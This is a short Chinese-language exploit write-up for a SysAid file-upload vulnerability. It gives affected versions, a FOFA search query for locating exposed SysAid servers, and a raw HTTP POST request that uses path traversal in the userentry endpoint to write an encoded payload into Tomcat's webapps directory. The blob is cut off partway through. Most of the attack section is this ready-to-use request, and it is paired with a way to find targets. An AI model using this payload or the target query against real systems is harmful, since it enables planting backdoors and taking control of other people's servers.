

# S17-1SysAid-文件上传

## 漏洞描述：

SysAid在userentry存在文件上传漏洞Q,攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件，从而可能导致服务器受到攻击并被控制。

## 影响版本：

SysAid version <23.3.36

## 网站图片：



## 网络测绘：

### fofa语法：

body='sysaid-logo-dark-green.png' || title='SysAid Help Desk Software' || body='Help Desk software [http://www.sysaid.com/](\"http://www.sysaid.com/\")>by SysAid'

## 漏洞复现：

### payload:

```
POST /userentry?accountId=../../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

{{unquote(("x\x9cd\xd4kT\x92\x87\x03\x06\xf0\xd7\xb4\xb4\xff\xdf[\xb3\xcbi\xde\xd6Z\xb3\x96\x16\xc5L@g\x9b\xddN#\xd1U*Fjv\x12\x0e\xa6\xd1`I\x28A\xa7\x8ecFe\xcd\xac\x99\x1
```